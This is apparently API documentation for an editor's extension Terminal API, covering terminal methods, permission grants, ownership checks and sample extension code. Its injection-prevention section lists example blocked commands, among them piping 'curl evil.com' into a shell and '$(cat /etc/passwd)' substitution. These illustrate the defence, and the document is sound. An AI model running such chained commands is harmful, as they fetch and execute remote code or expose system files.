Terminal API
Run shell commands and manage interactive terminal sessions from your extension.
The Terminal API gives extensions programmatic control over terminal tabs in the editor. You can open terminals, send input, read output, and close sessions -- all through a set of RPC methods gated behind a permission system that keeps the user in control.
Prerequisites
Add terminal to the permissions array in your extension's manifest.json:
{
"id": "my-extension",
"name": "My Extension",
"version": "1.0.0",
"permissions": ["terminal"]
}
Without this declaration, all terminal.* RPC calls will be rejected.
RPC Methods
terminal.isSetup
Checks whether the user has completed the terminal server setup. Returns true if the user has stored an authentication key (i.e., the terminal server was installed and connected at least once). This method does not require the terminal permission.
Parameters: None.
Returns: { isSetup: boolean }
const { isSetup } = await editor.terminal.isSetup();
if (!isSetup) {
await editor.window.showToast(
"Terminal not set up. Please set up the terminal server first."
);
return;
}
// Terminal is set up, proceed with terminal operations
const { tabKey } = await editor.terminal.open({ command: "npm run dev" });
Use this to check terminal availability before attempting terminal.open, so you can show a helpful message or fall back to an alternative flow instead of encountering a connection error.
terminal.open
Opens a new interactive terminal tab in the editor. Optionally runs an initial command once the terminal session connects.
Parameters:
| Name | Type | Required | Description |
|---|---|---|---|
command | string | No | Initial command to execute after the terminal connects. |
cwd | string | No | Working directory for the terminal session. Defaults to the current project directory when running under Termux. |
name | string | No | Display name for the terminal tab. |
Returns: { tabKey: string, terminalId: number }
tabKey-- Unique identifier for the terminal tab. Use this value with all subsequent terminal methods.terminalId-- Numeric ID for the terminal session.
const { tabKey, terminalId } = await editor.terminal.open({
name: "Dev Server",
command: "npm run dev",
cwd: "/path/to/project",
});
When called without a command, an empty interactive terminal is opened. When a command is provided, the API waits for the terminal's WebSocket connection to establish before sending the command.
If the editor is not currently on the editor screen, calling terminal.open navigates to it automatically.
terminal.sendInput
Sends text input to an open terminal tab. The terminal must have been opened by the calling extension (ownership is enforced).
Parameters:
| Name | Type | Required | Description |
|---|---|---|---|
tabKey | string | Yes | The tabKey returned by terminal.open. |
text | string | Yes | Text to send. Include \n to simulate pressing Enter. |
Returns: void
await editor.terminal.sendInput(tabKey, "git status\n");
The text is written directly to the terminal's WebSocket. This means you can send any characters, including control sequences like \x03 (Ctrl+C) to interrupt a running process.
terminal.readOutput
Reads the accumulated output buffer from a terminal tab. The terminal must have been opened by the calling extension.
Parameters:
| Name | Type | Required | Description |
|---|---|---|---|
tabKey | string | Yes | The tabKey returned by terminal.open. |
Returns: { output: string }
const { output } = await editor.terminal.readOutput(tabKey);
console.log(output);
The output buffer accumulates all text received from the terminal since it was opened, up to a maximum of 1 MB. Once the buffer reaches the cap, additional output is silently discarded from the buffer (the terminal tab itself continues to display output normally).
terminal.close
Closes a terminal tab and disconnects the underlying session. The terminal must have been opened by the calling extension.
Parameters:
| Name | Type | Required | Description |
|---|---|---|---|
tabKey | string | Yes | The tabKey returned by terminal.open. |
Returns: void
await editor.terminal.close(tabKey);
This disconnects the WebSocket, removes the tab from the editor, and cleans up all associated resources.
Permission Model
Terminal access is controlled by a two-layer permission system: manifest declaration and runtime user consent.
1. Manifest Declaration
The extension must declare "terminal" in its permissions array. This tells the editor that the extension intends to use terminal functionality. Without it, terminal RPC calls are blocked.
2. Runtime Permission Grants
Every time a terminal operation is initiated, the editor checks whether the extension has a valid permission grant. If no grant exists, the user is shown a permission dialog displaying the exact command (or a description like "Open a terminal session" for command-less opens).
The user can respond with one of three grant scopes:
| Scope | Storage | Lifetime | Description |
|---|---|---|---|
| One-time | Not stored | Single use | Consumed immediately after the operation completes. The user will be prompted again on the next call. |
| Session | In-memory | Until app restart | Stored in a runtime map. Cleared when the app process ends. |
| Permanent | Database | Indefinite | Persisted to the app database. Survives app restarts and updates. |
Security
Command Ownership
Extensions can only interact with terminals they opened themselves. The editor verifies that the tabKey belongs to a terminal opened by the calling extension. Attempting to send input to, read output from, or close a terminal opened by another extension (or by the user directly) throws an error.
Executable Extraction
When evaluating whether a grant covers a command, the system extracts the executable name from the command string. The extraction logic:
- Splits the command string on whitespace.
- Skips tokens that contain
=(environment variable assignments likeNODE_ENV=production). - Skips
sudoandenvprefixes. - Returns the first remaining token as the executable name.
For example:
| Command | Extracted Executable |
|---|---|
git status | git |
sudo npm install | npm |
NODE_ENV=production node server.js | node |
env PATH=/usr/bin python3 script.py | python3 |
Shell Metacharacter Injection Prevention
When an extension has a grant for a specific executable (not an "all" grant), the permission manager checks for shell metacharacters in the portion of the command after the executable name. If any of the following characters are found, the command is rejected:
; & | ` $ ( ) { }
This prevents command chaining attacks. For example, if an extension has a grant for git, the following commands would be blocked:
git status; curl evil.com | sh-- semicolon chains a download-and-execute attackgit status && curl evil.com | bash-- ampersand and pipe chaingit status $(cat /etc/passwd)-- command substitution via$()git status `whoami`-- command substitution via backticks
This check only applies to specific executable grants. If the user granted perm:{extId}:terminal:all, metacharacter checking is bypassed because the user has already approved unrestricted access.
Timeouts
Terminal RPC methods have a 90-second timeout (compared to the default 30 seconds for most other RPC methods). This extended timeout accounts for:
- Permission dialog display time (the user must review and approve)
- Terminal connection establishment (WebSocket handshake)
- Initial command execution
If the timeout is exceeded, the RPC call returns an "RPC timeout" error.
Examples
Open a Terminal and Run a Command
const { tabKey } = await editor.terminal.open({
name: "Build",
command: "npm run build",
});
Run a Sequence of Commands
// Open a terminal
const { tabKey } = await editor.terminal.open({ name: "Setup" });
// Wait a moment for the terminal to initialize
await new Promise((resolve) => setTimeout(resolve, 2000));
// Send commands sequentially
await editor.terminal.sendInput(tabKey, "cd my-project\n");
await editor.terminal.sendInput(tabKey, "npm install\n");
// Wait for installation to finish, then read output
await new Promise((resolve) => setTimeout(resolve, 10000));
const { output } = await editor.terminal.readOutput(tabKey);
if (output.includes("added")) {
await editor.window.showToast("Dependencies installed successfully");
}
Python File Runner with Command Hook
Intercept the Run button to execute Python files in a terminal:
editor.commands.registerHook(
{ commandId: "project.run", type: "before", priority: 50 },
async () => {
const activeFile = await editor.workspace.getActiveFile();
if (activeFile?.name.endsWith(".py")) {
await editor.terminal.open({
name: `Python: ${activeFile.name}`,
command: `python "${activeFile.name}"`,
});
return false; // Cancel default Run behavior
}
return true; // Allow default for non-Python files
}
);
Git Status Checker
editor.commands.registerCommand("my-ext.gitStatus", async () => {
const { tabKey } = await editor.terminal.open({
name: "Git Status",
command: "git status",
});
// Give the command time to produce output
await new Promise((resolve) => setTimeout(resolve, 2000));
const { output } = await editor.terminal.readOutput(tabKey);
await editor.window.showPopup({
title: "Git Status",
contentType: "markdown",
markdown: "```\n" + output + "\n```",
});
// Clean up the terminal tab
await editor.terminal.close(tabKey);
});
Build with Progress Indicator
editor.commands.registerCommand("my-ext.build", async () => {
const { progressId } = await editor.window.showProgress("Building project...");
try {
const { tabKey } = await editor.terminal.open({
name: "Build",
command: "npm run build",
});
// Poll output until build completes or timeout
let output = "";
for (let i = 0; i < 30; i++) {
await new Promise((resolve) => setTimeout(resolve, 2000));
const result = await editor.terminal.readOutput(tabKey);
output = result.output;
if (output.includes("Build complete") || output.includes("error")) {
break;
}
}
if (output.includes("error")) {
await editor.window.showToast("Build failed -- check the terminal for details");
} else {
await editor.window.showToast("Build successful");
await editor.terminal.close(tabKey);
}
} finally {
await editor.window.hideProgress(progressId);
}
});